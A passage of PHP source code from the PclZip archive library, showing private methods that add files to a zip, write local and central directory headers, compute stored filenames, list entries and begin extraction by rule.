        @unlink($this->zipname);

        // ----- Rename the temporary file
        // TBC : I should test the result ...
        //@rename($v_zip_temp_name, $this->zipname);
        PclZipUtilRename($v_zip_temp_name, $this->zipname);

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privOpenFd()
    // Description :
    // Parameters :
    // --------------------------------------------------------------------------------
    public function privOpenFd($p_mode)
    {
        $v_result = 1;

        // ----- Look if already open
        if ($this->zip_fd != 0) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \'' . $this->zipname . '\' already open');

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Open the zip file
        if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \'' . $this->zipname . '\' in ' . $p_mode . ' mode');

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privCloseFd()
    // Description :
    // Parameters :
    // --------------------------------------------------------------------------------
    public function privCloseFd()
    {
        $v_result = 1;

        if ($this->zip_fd != 0) {
            @fclose($this->zip_fd);
        }
        $this->zip_fd = 0;

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privAddList()
    // Description :
    //   $p_add_dir and $p_remove_dir will give the ability to memorize a path which is
    //   different from the real path of the file. This is usefull if you want to have PclTar
    //   running in any directory, and memorize relative path from an other directory.
    // Parameters :
    //   $p_list : An array containing the file or directory names to add in the tar
    //   $p_result_list : list of added files with their properties (specially the status field)
    //   $p_add_dir : Path to add in the filename path archived
    //   $p_remove_dir : Path to remove in the filename path archived
    // Return Values :
    // --------------------------------------------------------------------------------
    //  function privAddList($p_list, &$p_result_list, $p_add_dir, $p_remove_dir, $p_remove_all_dir, &$p_options)
    public function privAddList($p_filedescr_list, &$p_result_list, &$p_options)
    {
        $v_result = 1;

        // ----- Add the files
        $v_header_list = array();
        if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) {
            // ----- Return
            return $v_result;
        }

        // ----- Store the offset of the central dir
        $v_offset = @ftell($this->zip_fd);

        // ----- Create the Central Dir files header
        for ($i = 0, $v_count = 0; $i < sizeof($v_header_list); $i++) {
            // ----- Create the file header
            if ($v_header_list[$i]['status'] == 'ok') {
                if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
                    // ----- Return
                    return $v_result;
                }
                $v_count++;
            }

            // ----- Transform the header to a 'usable' info
            $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
        }

        // ----- Zip file comment
        $v_comment = '';
        if (isset($p_options[PCLZIP_OPT_COMMENT])) {
            $v_comment = $p_options[PCLZIP_OPT_COMMENT];
        }

        // ----- Calculate the size of the central header
        $v_size = @ftell($this->zip_fd) - $v_offset;

        // ----- Create the central dir footer
        if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1) {
            // ----- Reset the file list
            unset($v_header_list);

            // ----- Return
            return $v_result;
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privAddFileList()
    // Description :
    // Parameters :
    //   $p_filedescr_list : An array containing the file description
    //                      or directory names to add in the zip
    //   $p_result_list : list of added files with their properties (specially the status field)
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options)
    {
        $v_result = 1;
        $v_header = array();

        // ----- Recuperate the current number of elt in list
        $v_nb = sizeof($p_result_list);

        // ----- Loop on the files
        for ($j = 0; ($j < sizeof($p_filedescr_list)) && ($v_result == 1); $j++) {
            // ----- Format the filename
            $p_filedescr_list[$j]['filename'] = PclZipUtilTranslateWinPath($p_filedescr_list[$j]['filename'], false);

            // ----- Skip empty file names
            // TBC : Can this be possible ? not checked in DescrParseAtt ?
            if ($p_filedescr_list[$j]['filename'] == "") {
                continue;
            }

            // ----- Check the filename
            if (($p_filedescr_list[$j]['type'] != 'virtual_file') && (!file_exists($p_filedescr_list[$j]['filename']))) {
                PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '" . $p_filedescr_list[$j]['filename'] . "' does not exist");

                return PclZip::errorCode();
            }

            // ----- Look if it is a file or a dir with no all path remove option
            // or a dir with all its path removed
            //      if (   (is_file($p_filedescr_list[$j]['filename']))
            //          || (   is_dir($p_filedescr_list[$j]['filename'])
            if (($p_filedescr_list[$j]['type'] == 'file') || ($p_filedescr_list[$j]['type'] == 'virtual_file') || (($p_filedescr_list[$j]['type'] == 'folder') && (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]) || !$p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) {

                // ----- Add the file
                $v_result = $this->privAddFile($p_filedescr_list[$j], $v_header, $p_options);
                if ($v_result != 1) {
                    return $v_result;
                }

                // ----- Store the file infos
                $p_result_list[$v_nb++] = $v_header;
            }
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privAddFile()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privAddFile($p_filedescr, &$p_header, &$p_options)
    {
        $v_result = 1;

        // ----- Working variable
        $p_filename = $p_filedescr['filename'];

        // TBC : Already done in the fileAtt check ... ?
        if ($p_filename == "") {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)");

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Look for a stored different filename
        /* TBC : Removed
        if (isset($p_filedescr['stored_filename'])) {
        $v_stored_filename = $p_filedescr['stored_filename'];
        } else {
        $v_stored_filename = $p_filedescr['stored_filename'];
        }
        */

        // ----- Set the file properties
        clearstatcache();
        $p_header['version']           = 20;
        $p_header['version_extracted'] = 10;
        $p_header['flag']              = 0;
        $p_header['compression']       = 0;
        $p_header['crc']               = 0;
        $p_header['compressed_size']   = 0;
        $p_header['filename_len']      = strlen($p_filename);
        $p_header['extra_len']         = 0;
        $p_header['disk']              = 0;
        $p_header['internal']          = 0;
        $p_header['offset']            = 0;
        $p_header['filename']          = $p_filename;
        // TBC : Removed    $p_header['stored_filename'] = $v_stored_filename;
        $p_header['stored_filename']   = $p_filedescr['stored_filename'];
        $p_header['extra']             = '';
        $p_header['status']            = 'ok';
        $p_header['index']             = -1;

        // ----- Look for regular file
        if ($p_filedescr['type'] == 'file') {
            $p_header['external'] = 0x00000000;
            $p_header['size']     = filesize($p_filename);

        // ----- Look for regular folder
        } elseif ($p_filedescr['type'] == 'folder') {
            $p_header['external'] = 0x00000010;
            $p_header['mtime']    = filemtime($p_filename);
            $p_header['size']     = filesize($p_filename);

        // ----- Look for virtual file
        } elseif ($p_filedescr['type'] == 'virtual_file') {
            $p_header['external'] = 0x00000000;
            $p_header['size']     = strlen($p_filedescr['content']);
        }

        // ----- Look for filetime
        if (isset($p_filedescr['mtime'])) {
            $p_header['mtime'] = $p_filedescr['mtime'];
        } elseif ($p_filedescr['type'] == 'virtual_file') {
            $p_header['mtime'] = time();
        } else {
            $p_header['mtime'] = filemtime($p_filename);
        }

        // ------ Look for file comment
        if (isset($p_filedescr['comment'])) {
            $p_header['comment_len'] = strlen($p_filedescr['comment']);
            $p_header['comment']     = $p_filedescr['comment'];
        } else {
            $p_header['comment_len'] = 0;
            $p_header['comment']     = '';
        }

        // ----- Look for pre-add callback
        if (isset($p_options[PCLZIP_CB_PRE_ADD])) {

            // ----- Generate a local information
            $v_local_header = array();
            $this->privConvertHeader2FileInfo($p_header, $v_local_header);

            // ----- Call the callback
            // Here I do not use call_user_func() because I need to send a reference to the
            // header.
            //      eval('$v_result = '.$p_options[PCLZIP_CB_PRE_ADD].'(PCLZIP_CB_PRE_ADD, $v_local_header);');
            $v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header);
            if ($v_result == 0) {
                // ----- Change the file status
                $p_header['status'] = "skipped";
                $v_result           = 1;
            }

            // ----- Update the informations
            // Only some fields can be modified
            if ($p_header['stored_filename'] != $v_local_header['stored_filename']) {
                $p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']);
            }
        }

        // ----- Look for empty stored filename
        if ($p_header['stored_filename'] == "") {
            $p_header['status'] = "filtered";
        }

        // ----- Check the path length
        if (strlen($p_header['stored_filename']) > 0xFF) {
            $p_header['status'] = 'filename_too_long';
        }

        // ----- Look if no error, or file not skipped
        if ($p_header['status'] == 'ok') {

            // ----- Look for a file
            if ($p_filedescr['type'] == 'file') {
                // ----- Look for using temporary file to zip
                if ((!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])))) {
                    $v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options);
                    if ($v_result < PCLZIP_ERR_NO_ERROR) {
                        return $v_result;
                    }

                // ----- Use "in memory" zip algo
                } else {

                    // ----- Open the source file
                    if (($v_file = @fopen($p_filename, "rb")) == 0) {
                        PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");

                        return PclZip::errorCode();
                    }

                    // ----- Read the file content
                    $v_content = @fread($v_file, $p_header['size']);

                    // ----- Close the file
                    @fclose($v_file);

                    // ----- Calculate the CRC
                    $p_header['crc'] = @crc32($v_content);

                    // ----- Look for no compression
                    if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
                        // ----- Set header parameters
                        $p_header['compressed_size'] = $p_header['size'];
                        $p_header['compression']     = 0;

                    // ----- Look for normal compression
                    } else {
                        // ----- Compress the content
                        $v_content = @gzdeflate($v_content);

                        // ----- Set header parameters
                        $p_header['compressed_size'] = strlen($v_content);
                        $p_header['compression']     = 8;
                    }

                    // ----- Call the header generation
                    if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
                        @fclose($v_file);

                        return $v_result;
                    }

                    // ----- Write the compressed (or not) content
                    @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);

                }

            // ----- Look for a virtual file (a file from string)
            } elseif ($p_filedescr['type'] == 'virtual_file') {

                $v_content = $p_filedescr['content'];

                // ----- Calculate the CRC
                $p_header['crc'] = @crc32($v_content);

                // ----- Look for no compression
                if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
                    // ----- Set header parameters
                    $p_header['compressed_size'] = $p_header['size'];
                    $p_header['compression']     = 0;

                // ----- Look for normal compression
                } else {
                    // ----- Compress the content
                    $v_content = @gzdeflate($v_content);

                    // ----- Set header parameters
                    $p_header['compressed_size'] = strlen($v_content);
                    $p_header['compression']     = 8;
                }

                // ----- Call the header generation
                if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
                    @fclose($v_file);

                    return $v_result;
                }

                // ----- Write the compressed (or not) content
                @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);

            // ----- Look for a directory
            } elseif ($p_filedescr['type'] == 'folder') {
                // ----- Look for directory last '/'
                if (@substr($p_header['stored_filename'], -1) != '/') {
                    $p_header['stored_filename'] .= '/';
                }

                // ----- Set the file properties
                $p_header['size']     = 0;
                //$p_header['external'] = 0x41FF0010;   // Value for a folder : to be checked
                $p_header['external'] = 0x00000010; // Value for a folder : to be checked

                // ----- Call the header generation
                if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
                    return $v_result;
                }
            }
        }

        // ----- Look for post-add callback
        if (isset($p_options[PCLZIP_CB_POST_ADD])) {

            // ----- Generate a local information
            $v_local_header = array();
            $this->privConvertHeader2FileInfo($p_header, $v_local_header);

            // ----- Call the callback
            // Here I do not use call_user_func() because I need to send a reference to the
            // header.
            //      eval('$v_result = '.$p_options[PCLZIP_CB_POST_ADD].'(PCLZIP_CB_POST_ADD, $v_local_header);');
            $v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header);
            if ($v_result == 0) {
                // ----- Ignored
                $v_result = 1;
            }

            // ----- Update the informations
            // Nothing can be modified
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privAddFileUsingTempFile()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options)
    {
        $v_result = PCLZIP_ERR_NO_ERROR;

        // ----- Working variable
        $p_filename = $p_filedescr['filename'];

        // ----- Open the source file
        if (($v_file = @fopen($p_filename, "rb")) == 0) {
            PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");

            return PclZip::errorCode();
        }

        // ----- Creates a compressed temporary file
        $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR . uniqid('pclzip-') . '.gz';
        if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) {
            fclose($v_file);
            PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \'' . $v_gzip_temp_name . '\' in binary write mode');

            return PclZip::errorCode();
        }

        // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
        $v_size = filesize($p_filename);
        while ($v_size != 0) {
            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = @fread($v_file, $v_read_size);
            //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
            @gzputs($v_file_compressed, $v_buffer, $v_read_size);
            $v_size -= $v_read_size;
        }

        // ----- Close the file
        @fclose($v_file);
        @gzclose($v_file_compressed);

        // ----- Check the minimum file size
        if (filesize($v_gzip_temp_name) < 18) {
            PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \'' . $v_gzip_temp_name . '\' has invalid filesize - should be minimum 18 bytes');

            return PclZip::errorCode();
        }

        // ----- Extract the compressed attributes
        if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) {
            PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \'' . $v_gzip_temp_name . '\' in binary read mode');

            return PclZip::errorCode();
        }

        // ----- Read the gzip file header
        $v_binary_data = @fread($v_file_compressed, 10);
        $v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data);

        // ----- Check some parameters
        $v_data_header['os'] = bin2hex($v_data_header['os']);

        // ----- Read the gzip file footer
        @fseek($v_file_compressed, filesize($v_gzip_temp_name) - 8);
        $v_binary_data = @fread($v_file_compressed, 8);
        $v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data);

        // ----- Set the attributes
        $p_header['compression']     = ord($v_data_header['cm']);
        //$p_header['mtime'] = $v_data_header['mtime'];
        $p_header['crc']             = $v_data_footer['crc'];
        $p_header['compressed_size'] = filesize($v_gzip_temp_name) - 18;

        // ----- Close the file
        @fclose($v_file_compressed);

        // ----- Call the header generation
        if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
            return $v_result;
        }

        // ----- Add the compressed data
        if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) {
            PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \'' . $v_gzip_temp_name . '\' in binary read mode');

            return PclZip::errorCode();
        }

        // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
        fseek($v_file_compressed, 10);
        $v_size = $p_header['compressed_size'];
        while ($v_size != 0) {
            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = @fread($v_file_compressed, $v_read_size);
            //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
            @fwrite($this->zip_fd, $v_buffer, $v_read_size);
            $v_size -= $v_read_size;
        }

        // ----- Close the file
        @fclose($v_file_compressed);

        // ----- Unlink the temporary file
        @unlink($v_gzip_temp_name);

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privCalculateStoredFilename()
    // Description :
    //   Based on file descriptor properties and global options, this method
    //   calculate the filename that will be stored in the archive.
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privCalculateStoredFilename(&$p_filedescr, &$p_options)
    {
        $v_result = 1;

        // ----- Working variables
        $p_filename = $p_filedescr['filename'];
        if (isset($p_options[PCLZIP_OPT_ADD_PATH])) {
            $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH];
        } else {
            $p_add_dir = '';
        }
        if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) {
            $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH];
        } else {
            $p_remove_dir = '';
        }
        if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
            $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH];
        } else {
            $p_remove_all_dir = 0;
        }

        // ----- Look for full name change
        if (isset($p_filedescr['new_full_name'])) {
            // ----- Remove drive letter if any
            $v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']);

        // ----- Look for path and/or short name change
        } else {

            // ----- Look for short name change
            // Its when we cahnge just the filename but not the path
            if (isset($p_filedescr['new_short_name'])) {
                $v_path_info = pathinfo($p_filename);
                $v_dir       = '';
                if ($v_path_info['dirname'] != '') {
                    $v_dir = $v_path_info['dirname'] . '/';
                }
                $v_stored_filename = $v_dir . $p_filedescr['new_short_name'];
            } else {
                // ----- Calculate the stored filename
                $v_stored_filename = $p_filename;
            }

            // ----- Look for all path to remove
            if ($p_remove_all_dir) {
                $v_stored_filename = basename($p_filename);

            // ----- Look for partial path remove
            } elseif ($p_remove_dir != "") {
                if (substr($p_remove_dir, -1) != '/') {
                    $p_remove_dir .= "/";
                }

                if ((substr($p_filename, 0, 2) == "./") || (substr($p_remove_dir, 0, 2) == "./")) {

                    if ((substr($p_filename, 0, 2) == "./") && (substr($p_remove_dir, 0, 2) != "./")) {
                        $p_remove_dir = "./" . $p_remove_dir;
                    }
                    if ((substr($p_filename, 0, 2) != "./") && (substr($p_remove_dir, 0, 2) == "./")) {
                        $p_remove_dir = substr($p_remove_dir, 2);
                    }
                }

                $v_compare = PclZipUtilPathInclusion($p_remove_dir, $v_stored_filename);
                if ($v_compare > 0) {
                    if ($v_compare == 2) {
                        $v_stored_filename = "";
                    } else {
                        $v_stored_filename = substr($v_stored_filename, strlen($p_remove_dir));
                    }
                }
            }

            // ----- Remove drive letter if any
            $v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename);

            // ----- Look for path to add
            if ($p_add_dir != "") {
                if (substr($p_add_dir, -1) == "/") {
                    $v_stored_filename = $p_add_dir . $v_stored_filename;
                } else {
                    $v_stored_filename = $p_add_dir . "/" . $v_stored_filename;
                }
            }
        }

        // ----- Filename (reduce the path of stored name)
        $v_stored_filename              = PclZipUtilPathReduction($v_stored_filename);
        $p_filedescr['stored_filename'] = $v_stored_filename;

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privWriteFileHeader()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privWriteFileHeader(&$p_header)
    {
        $v_result = 1;

        // ----- Store the offset position of the file
        $p_header['offset'] = ftell($this->zip_fd);

        // ----- Transform UNIX mtime to DOS format mdate/mtime
        $v_date  = getdate($p_header['mtime']);
        $v_mtime = ($v_date['hours'] << 11) + ($v_date['minutes'] << 5) + $v_date['seconds'] / 2;
        $v_mdate = (($v_date['year'] - 1980) << 9) + ($v_date['mon'] << 5) + $v_date['mday'];

        // ----- Packed data
        $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50, $p_header['version_extracted'], $p_header['flag'], $p_header['compression'], $v_mtime, $v_mdate, $p_header['crc'], $p_header['compressed_size'], $p_header['size'], strlen($p_header['stored_filename']), $p_header['extra_len']);

        // ----- Write the first 148 bytes of the header in the archive
        fputs($this->zip_fd, $v_binary_data, 30);

        // ----- Write the variable fields
        if (strlen($p_header['stored_filename']) != 0) {
            fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
        }
        if ($p_header['extra_len'] != 0) {
            fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privWriteCentralFileHeader()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privWriteCentralFileHeader(&$p_header)
    {
        $v_result = 1;

        // TBC
        //for (reset($p_header); $key = key($p_header); next($p_header)) {
        //}

        // ----- Transform UNIX mtime to DOS format mdate/mtime
        $v_date  = getdate($p_header['mtime']);
        $v_mtime = ($v_date['hours'] << 11) + ($v_date['minutes'] << 5) + $v_date['seconds'] / 2;
        $v_mdate = (($v_date['year'] - 1980) << 9) + ($v_date['mon'] << 5) + $v_date['mday'];

        // ----- Packed data
        $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50, $p_header['version'], $p_header['version_extracted'], $p_header['flag'], $p_header['compression'], $v_mtime, $v_mdate, $p_header['crc'], $p_header['compressed_size'], $p_header['size'], strlen($p_header['stored_filename']), $p_header['extra_len'], $p_header['comment_len'], $p_header['disk'], $p_header['internal'], $p_header['external'], $p_header['offset']);

        // ----- Write the 42 bytes of the header in the zip file
        fputs($this->zip_fd, $v_binary_data, 46);

        // ----- Write the variable fields
        if (strlen($p_header['stored_filename']) != 0) {
            fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
        }
        if ($p_header['extra_len'] != 0) {
            fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
        }
        if ($p_header['comment_len'] != 0) {
            fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']);
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privWriteCentralHeader()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment)
    {
        $v_result = 1;

        // ----- Packed data
        $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries, $p_nb_entries, $p_size, $p_offset, strlen($p_comment));

        // ----- Write the 22 bytes of the header in the zip file
        fputs($this->zip_fd, $v_binary_data, 22);

        // ----- Write the variable fields
        if (strlen($p_comment) != 0) {
            fputs($this->zip_fd, $p_comment, strlen($p_comment));
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privList()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privList(&$p_list)
    {
        $v_result = 1;

        // ----- Magic quotes trick
        $this->privDisableMagicQuotes();

        // ----- Open the zip file
        if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0) {
            // ----- Magic quotes trick
            $this->privSwapBackMagicQuotes();

            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \'' . $this->zipname . '\' in binary read mode');

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Read the central directory informations
        $v_central_dir = array();
        if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) {
            $this->privSwapBackMagicQuotes();

            return $v_result;
        }

        // ----- Go to beginning of Central Dir
        @rewind($this->zip_fd);
        if (@fseek($this->zip_fd, $v_central_dir['offset'])) {
            $this->privSwapBackMagicQuotes();

            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Read each entry
        for ($i = 0; $i < $v_central_dir['entries']; $i++) {
            // ----- Read the file header
            if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) {
                $this->privSwapBackMagicQuotes();

                return $v_result;
            }
            $v_header['index'] = $i;

            // ----- Get the only interesting attributes
            $this->privConvertHeader2FileInfo($v_header, $p_list[$i]);
            unset($v_header);
        }

        // ----- Close the zip file
        $this->privCloseFd();

        // ----- Magic quotes trick
        $this->privSwapBackMagicQuotes();

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privConvertHeader2FileInfo()
    // Description :
    //   This function takes the file informations from the central directory
    //   entries and extract the interesting parameters that will be given back.
    //   The resulting file infos are set in the array $p_info
    //     $p_info['filename'] : Filename with full path. Given by user (add),
    //                           extracted in the filesystem (extract).
    //     $p_info['stored_filename'] : Stored filename in the archive.
    //     $p_info['size'] = Size of the file.
    //     $p_info['compressed_size'] = Compressed size of the file.
    //     $p_info['mtime'] = Last modification date of the file.
    //     $p_info['comment'] = Comment associated with the file.
    //     $p_info['folder'] = true/false : indicates if the entry is a folder or not.
    //     $p_info['status'] = status of the action on the file.
    //     $p_info['crc'] = CRC of the file content.
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privConvertHeader2FileInfo($p_header, &$p_info)
    {
        $v_result = 1;

        // ----- Get the interesting attributes
        $v_temp_path               = PclZipUtilPathReduction($p_header['filename']);
        $p_info['filename']        = $v_temp_path;
        $v_temp_path               = PclZipUtilPathReduction($p_header['stored_filename']);
        $p_info['stored_filename'] = $v_temp_path;
        $p_info['size']            = $p_header['size'];
        $p_info['compressed_size'] = $p_header['compressed_size'];
        $p_info['mtime']           = $p_header['mtime'];
        $p_info['comment']         = $p_header['comment'];
        $p_info['folder']          = (($p_header['external'] & 0x00000010) == 0x00000010);
        $p_info['index']           = $p_header['index'];
        $p_info['status']          = $p_header['status'];
        $p_info['crc']             = $p_header['crc'];

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privExtractByRule()
    // Description :
    //   Extract a file or directory depending of rules (by index, by name, ...)
    // Parameters :
    //   $p_file_list : An array where will be placed the properties of each
    //                  extracted file
    //   $p_path : Path to add while writing the extracted files
    //   $p_remove_path : Path to remove (from the file memorized path) while writing the
    //                    extracted files. If the path does not match the file path,
    //                    the file is extracted with its memorized path.
    //                    $p_remove_path does not apply to 'list' mode.
    //                    $p_path and $p_remove_path are commulative.
    // Return Values :
    //   1 on success,0 or less on error (see error code list)
    // --------------------------------------------------------------------------------
    public function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
    {
        $v_result = 1;

        // ----- Magic quotes trick
        $this->privDisableMagicQuotes();

        // ----- Check the path
        if (($p_path == "") || ((substr($p_path, 0, 1) != "/") && (substr($p_path, 0, 3) != "../") && (substr($p_path, 1, 2) != ":/"))) {
            $p_path = "./" . $p_path;
        }

        // ----- Reduce the path last (and duplicated) '/'
        if (($p_path != "./") && ($p_path != "/")) {
            // ----- Look for the path end '/'
            while (substr($p_path, -1) == "/") {
                $p_path = substr($p_path, 0, strlen($p_path) - 1);
            }
        }

        // ----- Look for path to remove format (should end by /)
        if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/')) {
            $p_remove_path .= '/';
        }
        $p_remove_path_size = strlen($p_remove_path);

        // ----- Open the zip file
        if (($v_result = $this->privOpenFd('rb')) != 1) {
            $this->privSwapBackMagicQuotes();

            return $v_result;
        }

        // ----- Read the central directory informations
        $v_central_dir = array();
        if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) {
            // ----- Close the zip file
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();

            return $v_result;
        }

        // ----- Start at beginning of Central Dir
        $v_pos_entry = $v_central_dir['offset'];

        // ----- Read each entry
        $j_start = 0;
        for ($i = 0, $v_nb_extracted = 0; $i < $v_central_dir['entries']; $i++) {

            // ----- Read next Central dir entry
            @rewind($this->zip_fd);
            if (@fseek($this->zip_fd, $v_pos_entry)) {
                // ----- Close the zip file
                $this->privCloseFd();
                $this->privSwapBackMagicQuotes();

                // ----- Error log
                PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

                // ----- Return
                return PclZip::errorCode();
            }

            // ----- Read the file header
            $v_header = array();
            if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) {
                // ----- Close the zip file
                $this->privCloseFd();
                $this->privSwapBackMagicQuotes();

                return $v_result;
            }

            // ----- Store the index
            $v_header['index'] = $i;

            // ----- Store the file position
            $v_pos_entry = ftell($this->zip_fd);

            // ----- Look for the specific extract rules
            $v_extract = false;

            // ----- Look for extract by name rule
            if ((isset($p_options[PCLZIP_OPT_BY_NAME])) && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {

                // ----- Look if the filename is in the list
                for ($j = 0; ($j < sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_extract); $j++) {

                    // ----- Look for a directory
                    if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {

                        // ----- Look if the directory is in the filename path
                        if ((strlen($v_header['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) && (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
                            $v_extract = true;
                        }

